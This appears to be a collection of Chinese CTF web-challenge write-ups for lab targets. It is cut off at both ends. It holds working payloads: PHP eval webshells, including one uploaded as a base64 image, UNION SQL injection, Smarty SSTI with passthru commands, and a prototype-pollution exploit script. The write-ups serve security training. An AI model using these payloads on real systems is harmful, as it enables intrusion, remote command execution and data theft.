if(preg_match("/\\|\056\160\150\x70/i",$third)){ $end=substr($third,5); highlight_file(base64_decode($zero).$end);//maybe flag in flag.php } } } else{ highlight_file(__FILE__); }逐块分析 1、传入参数zero与first,将二者拼接后传值给$second $zero=$_REQUEST['zero']; $first=$_REQUEST['first']; $second=$zero.$first; 2、第一个正则匹配 if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)) $second中,即拼接后的结果里要至少有上述内容中的一项。传入的两个参数只要有这其中的字符就行了。 3、第二个正则匹配 if(preg_match("/\.\.|flag/",$key)){ die("Noooood hacker!"); } 当$key即($second)中有. 或flag时被过滤,也就是不能匹配到 . 或flag 4、第三个正则匹配 $third=$first; if(preg_match("/\\|\056\160\150\x70/i",$third)){ $end=substr($third,5); highlight_file(base64_decode($zero).$end);//maybe flag in flag.php } 前端带了两个参数回来,ZERO FIRST,second是这两个变量值拼接 second第一层if要匹配的正则表达式是 Yeedo|wants|a|girl|friend|or|a|flag ,意思是只要出现这几个单词中的一个就可以过 第二层if要匹配的是…|flag,是…或者flag,意思second不能带…或者flag first变量匹配\|\056\160\150\x70 \056是ascii编码,就跟c语言中char a=97,a是字符’a’一样,056 160 150是8进制,x70是16进制,不好理解可以把它转成十进制再转换转换出来就是.php 关于双重转义,在匹配正则时,字符串会先转义,然后再去匹配正则,\|\056\160\150\x70,字符串会被转义成|.php交给正则匹配器匹配,匹配的结果就是含有|.php 的字符串可以被接受(只有给正则匹配器的是\|.php才是\或者.php) 两重转义基础知识: 在正则表达式中要匹配一个反斜杠时,例如"\\\\",前后两个反斜杠在字符串中分别变成一个反斜杠,解释为两个反斜杠,再交由正则表达式解释为一个反斜杠,需要四个反斜杠。 字符串 ----> 正则表达式字符串参数 -----> 正则解析转移后的pattern 字符串:"\\." ----> 正则表达式形式:"\." ---> 正则引擎解析结果"\."(转义的.) 字符串:"(\\)(\\)" ----> 正则表达式形式:"\\" ---> 正则引擎解析结果"\"(普通符号\) 字符串:"(\\)(\\)|.php" ----> 正则表达式形式:"\\|.php" ---> 正则引擎解析结果pattern为"\"或".php"(普通符号\) 字符串:"(\\)|.php" ----> 正则表达式形式:"\|.php" ---> 正则引擎解析结果"|.php"(普通符号\) 关键正则匹配if(preg_match("/\\|\056\160\150\x70/i",$third))进行分析: 其中\056\160\150\x70是三个八进制一个十六进制,编码过来就是.php的意思 这里有个优先级的问题,当匹配字符串中有字符串转义时,先进行字符串转义,然后进行正则匹配的相关转义。 开始以为这里是匹配的\ 或.php,测试后发现匹配的是|.php,因为\\|转义成\|后,又转义了一次,最后变成|,然后和后面的.php拼接成|.php 056-46-. 160-112-p 150-104-h 70--112-p 字符串转义后结果是 if(preg_match("/\|.php/i",$third)) 所以$first的值为|.php 易知$zero的值为ZmxhZy5waHA (flag.php经过一次base64编码) 回到第一个正则匹配,需要满足条件才能进入后面的匹配,这里比较有意思的是ZmxhZy5waHA中恰好有一个a 因此可以开始构造: 方法一:zero是flag.php的base64编码 ?zero=ZmxhZy5waHA&first=|.php http://114.67.246.176:14170/?zero=ZmxhZy5waHA&first=|.php 方法二: zero是flag的base64编码,first从第5个字串开始是.php ,substr()函数,从第五个字符开始截取,所以就在前填四个a,截取成.php flag的base64编码是ZmxhZw== zero=ZmxhZw==&first=aaaa|.php http://114.67.246.176:14170/?zero=ZmxhZw==&first=aaaa|.php 方法三: zero是 flag.的base64编码为 ZmxhZy4= ?zero=ZmxhZy4=&first=aaa|.php http://114.67.246.176:14170/?zero=ZmxhZy4=&first=aaa|.php 最终flag: flag{05b07ce4e05b5b8fce3bfde9b1c2ae03} 题目名称:cookies 题目内容:cookies欺骗 题目writeup: 启动题目场景,获得靶场网站,访问靶场网站,页面内容显示一段很长串的字符串,无果。 http://114.67.246.176:10306/index.php?line=&filename=a2V5cy50eHQ= 通过bupsuit对其抓包分析http://114.67.246.176:10306/index.php?line=&filename=a2V5cy50eHQ=这里line 代表行数,filename代表文件名的base64.其中a2V5cy50eHQ= 进行base64解密得到 keys.txt,这里的请求就是获得keys.txt的内容。将line改成1(第二行)发现在响应页面中没有内容,改成0,可获得内容,证明该keys.txt只有1行内容(如果不对行数赋值,默认是0,也就是第一行)http://114.67.246.176:10306/index.php?line=0&filename=a2V5cy50eHQ=通过题目内容分析,index.php和keys.txt存在靶机网站系统中对index.php文件名进行base64加密得到:aW5kZXgucGhw尝试读取index.php第一行内容,构造POC如下:http://114.67.246.176:10306/index.php?line=0&filename=aW5kZXgucGhw可以通过python脚本批量读取index.php所有内容:#coding=utf8 import requests url1 = "http://114.67.246.176:10306/index.php?line=" url2 = "&filename=aW5kZXgucGhw" mysession = requests.session() s = '' for i in range(0, 40): r = mysession.get(url1+str(i)+url2) # 读取每一行代码 s = s + r.text print(s)读取得到的index.php源码:<?php error_reporting(0); $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); //表示有filename的话获取其内容,没有的话就赋值为空 $line=isset($_GET['line'])?intval($_GET['line']):0; //line有值直接获取,无值赋值为0 if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); //设置我们看到的URL $file_list = array( //关联型数组 '0' =>'keys.txt', '1' =>'index.php', ); if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){//接下来的指示,cookie中的margin参数要设置,且要等于'margin' $file_list[2]='keys.php'; //在数组中加入keys.php,这应该存着flag } if(in_array($file, $file_list)){//看我们传入的filename的值是否在上面的数组中 $fa = file($file); //是则以文件的方式打开 echo $fa[$line]; //按line行号,输出 } ?> 简单代码分析: 如果if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin') file_list会多出来一个keys.php文件,同时要得到keys.php文件内容还需要使$file=keys.php 即: 1.需要$file=keys.php从php代码中可以看出来,我们需要将keys.php这段字符串Base64加密为a2V5cy5waHA= , 然后将其作为filename的值 2.还要构造Cookie: margin=margin这个Cookie头 方法一:通过burpsuit抓包伪造cookie请求得到flag http://114.67.246.176:10306/index.php?line=0&filename=a2V5cy5waHA= 方法二:通过python脚本批量获得flag #coding=utf8 import requests url = "http://114.67.246.176:10306/index.php?line=&filename=a2V5cy5waHA=" # filename替换为keys.php的base64加密后的内容 mysession = requests.session() cookies = {'margin': 'margin'} r = mysession.post(url, cookies=cookies) print(r.text)最终得到flag:flag{f54c600d8f3cc19bf89fc49dd49b11dc} 题目名称:never_give_up题目writeup:启动题目场景,获得靶场网站,访问靶场网站主页,页面显示“never never nver give up!!"http://114.67.246.176:17813/hello.php?id=1查看靶场主页的源码,发现源码中的注释中包含一个1p.html文件view-source:http://114.67.246.176:17813/hello.php?id=1直接get请求访问1p.html,直接跳转到bugku.com论坛。http://114.67.246.176:17813/1p.html这里查看1p.html的源码,发现源码中包含了一段javascritp脚本view-source:http://114.67.246.176:17813/1p.htmljavascript脚本中内容包含一些url编码的字符串:<SCRIPT LANGUAGE="Javascript">var Words ="%3Cscript%3Ewindow.location.href%3D'http%3A%2F%2Fwww.bugku.com'%3B%3C%2Fscript%3E%20%0A%3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E" function OutWord(){var NewWords;NewWords = unescape(Words);document.write(NewWords);} OutWord();</SCRIPT>对其javascript脚本内容中进行url解密一次,可得到的内容包含一些base64加密的字符串<SCRIPT LANGUAGE="Javascript">var Words ="<script>window.location.href='http://www.bugku.com';</script> <!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF-->" function OutWord(){var NewWords;NewWords = unescape(Words);document.write(NewWords);} OutWord();</SCRIPT>对javacirpt脚本内容的base64加密字符串进行解密后,可得到的内容包含一些url编码的字符串<SCRIPT LANGUAGE="Javascript">var Words ="<script>window.location.href='http://www.bugku.com';</script> <!--%22%3Bif(!%24_GET%5B'id'%5D)%0A%7B%0A%09header('Location%3A%20hello.php%3Fid%3D1')%3B%0A%09exit()%3B%0A%7D%0A%24id%3D%24_GET%5B'id'%5D%3B%0A%24a%3D%24_GET%5B'a'%5D%3B%0A%24b%3D%24_GET%5B'b'%5D%3B%0Aif(stripos(%24a%2C'.'))%0A%7B%0A%09echo%20'no%20no%20no%20no%20no%20no%20no'%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20%40file_get_contents(%24a%2C'r')%3B%0Aif(%24data%3D%3D%22bugku%20is%20a%20nice%20plateform!%22%20and%20%24id%3D%3D0%20and%20strlen(%24b)%3E5%20and%20eregi(%22111%22.substr(%24b%2C0%2C1)%2C%221114%22)%20and%20substr(%24b%2C0%2C1)!%3D4)%0A%7B%0A%09%24flag%20%3D%20%22flag%7B***********%7D%22%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20!!!%22%3B%0A%7D%0A%0A%0A%3F%3E-->" function OutWord(){var NewWords;NewWords = unescape(Words);document.write(NewWords);} OutWord();</SCRIPT>再对其内容进行URL解码一次,得到完整的代码如下:<SCRIPT LANGUAGE="Javascript">var Words ="<script>window.location.href='http://www.bugku.com';</script> if(!$_GET['id']) //如果无法通过get获得id变量并且id不能为空和0 { header('Location: hello.php?id=1');//如果id为空,则我们看到的URL加上hello.php?id=1 exit(); //退出脚本。}$id=$_GET['id']; //通过get方式获得其他文件的id变量$a=$_GET['a']; //通过get方式获得其他文件的a变量$b=$_GET['b']; //通过get方式获得其他文件的b变量if(stripos($a,'.')) //查找'.'在$a中出现的位置,只有a中没有'.'才会绕过这个if{ echo 'no no no no no no no'; return ;}$data = @file_get_contents($a,'r'); //将$a文件读入到data中if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)//核心语句,$a为一个文件名,文件内容是"bugku is a nice plateform!",$id为0,$b要求为第一个字符为'4',长度大于5/*要满足以下 5 条表达式才会爆 flag:变量 $id 弱等于整型数 0变量 $b 的长度大于 5字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配变量 $b 的第一个字符弱不等于整型数 4变量 $data 弱等于字符串 bugku is a nice plateform!*/{ $flag = "flag{***********}"}else{ print "never never never give up !!!";}?>function OutWord(){var NewWords;NewWords = unescape(Words);document.write(NewWords);} OutWord();</SCRIPT>简单代码分析:stripos(字符串a,字符串b) 函数查找字符串b在字符串a中第一次出现的位置(不区分大小写)file_get_contents 将整个文件读入一个字符串strlen() 函数返回字符串的长度substr() 函数返回字符串的一部分。substr(string,start,length) ,length参数可选。如substr($b,0,1)就是在参数b里面 ,从0开始返回1个长度的字符串eregi("111".substr($b,0,1),"1114")就是判断"1114"这个字符串里面是否有符合"111".substr($b,0,1)这个规则的 $data=="bugku is a nice plateform!”id==0与if(!GET( ′ id ′ )矛盾,所以用id=0e123456绕过,id为其他也可以。用$a=php://input通过php伪协议去绕过file_get_contentsb的长度大于5,eregi(“111”.substr($b,0,1),“1114”)这个函数是b的正则匹配 ,substr(b,0,1)!=4这个说明b开头不能为4,所以令$b=*123456有矛盾的条件是:id要求为0,但是下面要求id为整数0才能加载$a要求服务器端存在一个文件名,文件内容是"bugku is a nice plateform!",但是我们不是服务器端要求$b的第一个字符既等于字符'4',又不等于整数4其他条件是$a中不含 '.'字符串1114要与字符串111连接变量 $b 的第一个字符构成的正则表达式匹配$b长度大于5首先是id弱类型,只要将id赋值为任意字符串解释器就会判定其与0相等为TRUE,先假设id="aa":file_get_contents() 函数读取变量 $a 的值而得,所以 $a 的值必须为数据流php://input 可以访问原始请求数据中的只读流。这里令 $a = "php://input",并在请求body中提交字符串 bugku is a nice plateform!,php://input会将其读入$a。ereg()函数和eregi()函数存在空字符截断漏洞,即在参数与中的正则表达式和待匹配字符串中遇到了空格,则截断并丢弃后面的数据。在本题里面eregi("111".substr($b,0,1),"1114") ,即111拼接上substr($b,0,1),之后与"1114"比较,只要让"111"后面拼接上一个空格即"\x00" 就可以让eregi函数对后面的进行截断,造成的结果就是"111"等于"1114"。这里可以构造 $b="\x00abcdef" 满足长度大于5即可。因此,我们可以构造 id=%00或者id=.或者id=0e1 b=*12345或者?12345或者.12345(这里是运用了正则表达式的思想) a=php://input http://114.67.246.176:17813/hello.php?id=.&a=php://input&b=.12345post:bugku is a nice plateform! 最终flag:flag{dcec7ea8a792bb7dcb7da6c245074832} 题目名称:shell题目内容:送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])题目writeup:启动题目场景,获得靶场网站,访问靶场网站主页,发现页面是空白http://114.67.246.176:18158/查看靶场主页源码,内容也显示为空白view-source:http://114.67.246.176:18158/在题目内容描述中,作者给出了一句话免杀木马内容,这个一句话木马是index.php的内容:$poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) 该一句话后门其实就是运用拼接过waf,最后的运行结果是assert($_GET[‘s’])很明显assert是能执行shell命令的危险函数之一,要带过去的参数是s那么可以直接构造,首先想到system函数,没禁用查看当前路径,可以查看到当前目录存在2个文件:flaga15808abee46a1d5.txt 和index.php?s=system("ls")http://114.67.246.176:18158/?s=system("ls")那么flag在flaga15808abee46a1d5.txt文件中,通过cat命令查看flaga15808abee46a1d5.txt文件可获得flag?s=system("cat flaga15808abee46a1d5.txt")http://114.67.246.176:18158/?s=system("cat flaga15808abee46a1d5.txt")最终 flag:flag{7084e268d2193dc2e4e5c110e65f4f50} 题目名称:成绩查询题目writeup:启动题目场景,获得靶场网站,访问网站,发现网页是一个成绩查询页面,猜测查询框中存在注入点。http://114.67.246.176:11329/index.php在成绩查询文本框中输入1,并通过burpsuit抓包并发送请求包,响应页面中发现可正常显示分数id=1在id=1后加入单引号,响应页面中发现分数线为空,证明id参数存在注入。id=1' 通过order by查询字段数,发现在字段数为4页面显示正常id=1' order by 4#字段数为5页面显示不正常id=1' order by 5#说明order by 字段数为4 联合查询字段的回显位,发现在2,3,4位置存在回显位id=-1' union select 1,2,3,4# 联合查询出数据库名id=-1' union select 1,database(),3,4#得到数据库名:skctf 联合查询出表名id=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='skctf'#得到表名为:fl4g,sc 联合查询出fl4g 表中的字段名id=-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='fl4g'#得到字段名为:skctf_flag 联合查询出skctf_flag字段的内容id=-1' union select 1,group_concat(skctf_flag),3,4 from skctf.fl4g# 最终得到flag:flag{71bf5f1ce48c150c5a8fe67ebf670b77} 题目名称:秋名山车神题目writeup:启动题目场景,获得靶场网站,访问网站,发现页面内容:需要2秒内计算出表达式结果.http://114.67.176:1210 在两秒内,先发起请求得到页面,截取算式,利用eval计算字符串表达式的值,刷新多次,发现数字是变化的,不过刷新过程中发现了要提交的参数value。 使用python脚本计算出value值然后提交获得flag: #coding=utf8 import requests from lxml import etree ''' eval():将字符串str当成有效的表达式来求值并返回计算结果 ''' url = 'http://114.67.246.176:12110/' response = requests.session() re = response.get(url=url).content.decode('utf-8') elements = etree.HTML(re).xpath('//div/text()')[0][0:-3] result = eval(elements) //函数用来执行一个字符串表达式,并返回表达式的值 print(result,'\n') data = { 'value':result } flag = response.post(url=url,data=data).content.decode('utf-8') flag_x = etree.HTML(flag) print(etree.tostring(flag_x,encoding='utf-8').decode('utf-8')) print(flag)最终flag:flag{d29ecec61bf1a4b75386c62decc4e9b8} 题目名称:速度要快题目writeup:启动题目场景,获得靶场网站,访问网站,页面内容显示“我感觉你的快点”,没可利用点http://114.67.246.176:18724/ 查看靶场网站主页的源码,在注释中告诉我们需要用post方式提交参数变量margin才能获得flagview-source:http://114.67.246.176:18724/通过bupsuit对访问靶场主页进行抓包,发送请求包后,在响应http头部包含flag的base64内容得到base64加密的flag: 6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogT0RjMk1USTQ=base64解码得到:跑的还不错,给你flag吧: ODc2MTI4 ODc2MTI4看起来像base64,再次解密得到:876128,那么margin值为876128于是构造post提交:http://114.67.246.176:18724/post:margin=876128 页面显示“我都说了让你快点”说明人工获取速度太慢,且通过人工获得flag时发现每次刷新都会产生新的flag,所以要用session对象会话保持同一个flag需要用脚本来构造请求获得flag: import requests import base64 s = requests.Session() headers = s.get("http://114.67.246.176:18724/").headers str1 = base64.b64decode(headers['flag']) str2 = base64.b64decode(repr(str1).split(':')[1]) data = {'margin': str2} flag = s.post("http://114.67.246.176:18724/", data=data) print(flag.text) 最终flag为:flag{fb9d516d0399f9942fd8ecdd4f49702c} 题目名称:聪明的php题目writeup:启动题目场景,获得靶场网站,靶场网站主页页面内容显示“传递一个参数,flag的文件名是随机的”。http://114.67.246.176:16000/根据上文提示,随机传一个参数s(任意),值也是任意,可得index.php的源码。http://114.67.246.176:16000/?s=1发现smarty是个模板,尝试一下是不是模板注入测试{{2*1}}的结果,可以看到页面上显示了计算结果,说明该smarty模板存在ssti注入 http://114.67.246.176:16000/?s={{2*1}}得到的index.php的主要源码为:include('./libs/Smarty.class.php'); echo "pass a parameter and maybe the flag file's filename is random :>"; $smarty = new Smarty(); if($_GET){ highlight_file('index.php'); foreach ($_GET AS $key => $value) { print $key."\n"; if(preg_match("/flag|\/flag/i", $value)){ $smarty->display('./template.html'); }elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){ $smarty->display('./template.html'); }else{ $smarty->display("eval:".$value); } } } ?> 通过以上代码简单的分析,网站存在存在命令执行漏洞,发现过滤挺多的函数,发现passthru()函数没有被过滤,这个函数可以代替system()。passthru()函数只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。 所以构造payload:{passthru("")}linux查看文件的命令 cat tac more less head tail nl static-sh paste od bzmore bzlessphp文件读取函数 printr() fread() fgets() vardump() 方法一:使用passthru函数找到flag文件,并读取flag文件内容 使用passthru函数通过ls命令查看当前目录下存在的文件 http://114.67.246.176:16000/index.php?f={passthru(%22ls%22)}{passthru("ls")}可以列出当前目录下存在index.php以及cache等文件,但并包含flag内容。 使用passthru函数通过ls命令查看前根目录下存在的文件{passthru("ls -al /")}http://114.67.246.176:16000/index.php?f={passthru(%22ls%20-al%20%20/%22)}以列出当前根目录下存在一个可疑的文件_17211,该文件也符合上文提示的“flag文件为随机文件” 于是通过tac命令(Cat命令被过滤了,用tac命令替代查看文件内容)查看_17211文件内容,可以成功查看到 flag文件内容{passthru("tac /_17211")}http://114.67.246.176:16000/index.php?f={passthru(%22tac%20/_17211%22)} 方法二:使用scandir函数找到flag文件,并读取flag文件内容{print_r(scandir("/"))}http://114.67.246.176:16000/index.php?f={print_r(scandir(%22/%22))}{var_dump(scandir("/"))}http://114.67.246.176:16000/index.php?f={print_r(scandir(%22/%22))} {fread(fopen("/_17211","r"),4096)}http://114.67.246.176:16000/index.php?f={fread(fopen(%22/_17211%22,%22r%22),4096)}最终得到flag:flag{95f6e0916a19c4deb053c324da0562f1} 题目名称:xxx二手交易市场题目内容:本人现实碰到的题目,无提示勿问题目writeup:启动题目场景,获得靶场网站,访问网站主页,发现是一个二手交易网站http://114.67.246.176:11026/sale按照正常流程,是用用户名trss123用户名,密码123456,进行注册一个账号。http://114.67.246.176:11026/reg使用账号trss123,密码123456,成功登陆到个人后台,发现在个人头像处可以上传图片http://114.67.246.176:11026/user于是上传一个正常的图片并通过bupsuit对其进行抓包,发现它上传的内容是先把图片内容转换成base64格式http://114.67.246.176:11026/user/upload 并且文件内容开头是: image=data:image/jpeg;base64,baes4(字符串加密)即image=data:image/php;base64, 数据以base64编码的数据流形式传输,将data:image/jpeg修改为data:image/php,再在后面加上一句话木马:<?php @eval($_POST[cmd]); ?>一句话木马base64编码后的字符串:PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==因此构造payload为:image=data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==获得一句话木马上传的物理路径:/Uploads/heads/fe50c88fd127cf1b.php 最终得到一句话的后门路径访问地址:http://114.67.246.176:11026/Uploads/heads/fe50c88fd127cf1b.php 通过蚁剑连接一句话后门在/var/www/html目录下存在flag文件查看flag文件,可获得flag内容最终得到flag:flag{686b0419f11322377b672b906442a6cd} 题目名称:闪电十六鞭题目内容:flag{}题目writeup:启动题目场景,获得靶场网站,访问网站主页,页面显示一段php代码,且含有一个click here超链接。http://114.67.246.176:15839/ 点击click here超链接,得到一个url地址http://114.67.246.176:15839/?flag=return%27c2ba6ed801720ae57a0c08ab35980e6e20d5d4f7%27;该url地址后的flag值的长度为:len("return'return'c2ba6ed801720ae57a0c08ab35980e6e20d5d4f7';")=49并且得到的php源码:<?php error_reporting(0); require __DIR__.'/flag.php'; $exam = 'return\''.sha1(time()).'\';'; if (!isset($_GET['flag'])) { echo '<a href="./?flag='.$exam.'">Click here</a>'; } else if (strlen($_GET['flag']) != strlen($exam)) { echo '长度不允许'; } else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) { echo '关键字不允许'; } else if (eval($_GET['flag']) === sha1($flag)) { echo $flag; } else { echo '马老师发生甚么事了'; } echo '<hr>'; highlight_file(__FILE__);由源码可知,$flag可以输出,且输出后就是flag,需要绕过2个条件才能获得到flag1.绕过条件一:使用短标签<? ?>可以构造出echo绕过<?php ?>:<? ?>和<?= ?>是短标签而<?php ?>是长标签,其中<?= 是代替 <? echo的,<? ?>代替的是<?php ?>,当你发现你的PHP不支持使用短标签,请到PHP的安装目录下找到php.ini文件,使用Ctrl+F搜索short_open_tag ,然后将等号后面的Off改成On,再重新启动Apache服务,那么短标签就会被识别了 因此构造短标签<?=$flag;?>就可以输出flag了,但是flag被过滤了$a构造一个flag字符串,然后echo $$a,不过[]被过滤了。2.绕过条件2:用大括号代替方括号[]:在PHP中,大括号“{}”可以起到如下作用:将多个独立语句合并为一个复合语句,例如 if ... else ...中经常如此使用在变量间接引用中进行定界,避免歧义。例如 ${$my_var[8]}与${$my_var}[8]的区分用于指示字符串变量中的单个字符(下标从0开始),例如$my_str="1234";$my_str{1}='5'; //现在 $my_str 内容为 '1534' 因此最后构造?flag=$a='fla1';$a{3}='g';?><?=$$a;?>111111111111111111第一个;?>是为了让代码开头的<?php闭合,不然<?=$$a?>无法执行,后面填充字符111111111111111111,需要满足长度条件。 http://114.67.246.176:15839/?flag=$a='fla1';$a{3}='g';?><?=$$a;?>111111111111111111最终flag:flag{78062956} 题目名称:sodirty题目writeup:启动题目场景,获得靶场网站,访问网站主页,页面显示内容为“前段被炒了“无任何利用点http://114.67.246.176:14918/index点击注册链接,页面内容显示用户创建成功,也没有利用点http://114.67.246.176:14918/reg 通过御剑目录扫描工具对靶场网站进行目录扫描,发现网站存在一个www.zip压缩文件。下载 www.zip文件,对其压缩包进行解压,可得到网站源码。 http://114.67.246.176:14918/www.zip打开routes/index.js得到源码 :var express = require('express');const setFn = require('set-value');var router = express.Router();const Admin = { "password":process.env.password?process.env.password:"password"} router.post("/getflag", function (req, res, next) { if (req.body.password === undefined || req.body.password === req.session.challenger.password){ res.send("登录失败"); }else{ if(req.session.challenger.age > 79){ res.send("糟老头子坏滴很"); } let key = req.body.key.toString(); let password = req.body.password.toString(); if(Admin[key] === password){ res.send(process.env.flag ? process.env.flag : "flag{test}"); }else { res.send("密码错误,请使用管理员用户名登录."); } } });router.get('/reg', function (req, res, next) { req.session.challenger = { "username": "user", "password": "pass", "age": 80 } res.send("用户创建成功!");}); router.get('/', function (req, res, next) { res.redirect('index');});router.get('/index', function (req, res, next) { res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');});router.post("/update", function (req, res, next) { if(req.session.challenger === undefined){ res.redirect('/reg'); }else{ if (req.body.attrkey === undefined || req.body.attrval === undefined) { res.send("传参有误"); }else { let key = req.body.attrkey.toString(); let value = req.body.attrval.toString(); setFn(req.session.challenger, key, value); res.send("修改成功"); } }});module.exports = router;发现set-value,存在原型链污染,poc地址:https://snyk.io/vuln/SNYK-JS-SETVALUE-450213对于js原型链污染,下面这篇讲得非常详细: https://blog.csdn.net/weixin_45551083/article/details/109589386 poc:const setFn = require('set-value'); setFn({},'__proto__.p1',"hacked"); console.log({}.p1);由源码分析可知:1.发现路由"/reg"会创建一个challenger用户字典2.发现路由"/update"可以对challenger传参键值对(attrkey和attrval),对challenger字典中进行修改3.路由"/getflag"可以获取到flag,但存在几个验证,首先需要传参两个参数(key和password)进来,并且对用户字典中的年龄进行判断,大于79会失败;其次Admin[key]需要等于password,其中passwod为我们控制的 ,而Admin[key] 我们不知道因为age是一个已经存在的变量,所以可以用post传参去覆盖data={"attrkey":"age","attrval":"10"}update(url,data) 既然知道是原型链污染了,我们直接利用poc自定义一个password即可,而对于年龄,它是已经存在的变量,那我们就直接覆盖age变量写一个脚本进行相对应的发送请求:import requests url = "http://114.67.246.176:14918" headers = {'Content-Type': 'application/json' } req = requests.session() test = req.get(url+"/reg") print(test.text) r = req.post(url+"/update",json={"attrkey":"__proto__.pwd22","attrval":"pwd"},headers=headers) print(r.text) r = req.post(url+"/update",json={"attrkey":"age","attrval":10},headers=headers) print(r.text) r = req.post(url+"/getflag",json={"key":"pwd22","password":"pwd"},headers=headers) print(r.text)最终得到flag:flag{c4e0740412adbe631cd75aa35107e564} 题目名称:字符?正则?题目writeup:启动题目场景,获得靶场网站,访问网站主页,页面显示一段php代码http://114.67.246.176:16829/得到的php 源码:<?php highlight_file('2.php'); $key='flag{********************************}'; $IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match); if( $IM ){ die('key is: '.$key); } ?>简单代码分析:1.preg_match函数用于执行一个正则表达式匹配 2.trim(字符串,字符) 移除字符串两侧的空白字符或其他预定义字符 3.基本思路:拆分->各个击破 "/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i" /xxx/i 是PHP或Perl一类的语言中的正则表达式,其中xxx表示真正的正则表达式本身,而后面的i表示ignoreCase,即忽略大小写的意思。 所以真正的正则表达式: 